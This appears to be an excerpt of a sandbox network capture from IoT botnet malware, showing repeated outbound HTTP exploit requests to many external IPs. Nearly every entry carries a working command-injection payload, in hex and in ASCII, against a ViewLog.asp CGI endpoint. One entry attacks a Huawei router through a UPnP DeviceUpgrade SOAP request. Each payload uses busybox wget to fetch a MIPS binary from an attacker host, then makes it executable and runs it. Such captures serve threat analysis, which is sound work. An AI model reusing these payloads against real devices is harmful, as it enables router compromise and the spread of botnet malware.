Nov 23, 2023 05:15:01.957938910 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	49764	156.77.134.143	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:04.380760908 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	47324	62.234.30.62	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:05.550683975 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:05.879786968 CET	171	IN	HTTP/1.1 200 OK Content-Type: application/json content-length: 34 Data Raw: 7b 22 63 6f 64 65 22 3a 35 30 30 2c 22 6d 73 67 22 3a 22 34 30 34 20 4e 4f 54 5f 46 4f 55 4e 44 22 7d Data Ascii: {"code":500,"msg":"404 NOT_FOUND"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	43244	94.123.242.3	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:05.779695988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	37378	94.253.42.100	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.105609894 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	55286	85.92.211.84	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.400949955 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:06.587238073 CET	367	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	50240	62.29.28.145	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.437180996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	33932	94.242.230.140	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.709001064 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	40662	31.136.55.2	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.765904903 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:07.334706068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:08.454688072 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:10.886674881 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:15.494832039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:24.454664946 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:42.630594969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.494508982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	55842	94.121.77.29	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.883450985 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	60014	62.29.58.220	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.883994102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	42832	62.29.93.155	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:06.884773970 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	40946	31.136.67.112	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:10.340039968 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:13.446679115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:19.590723038 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:31.622654915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:56.966684103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
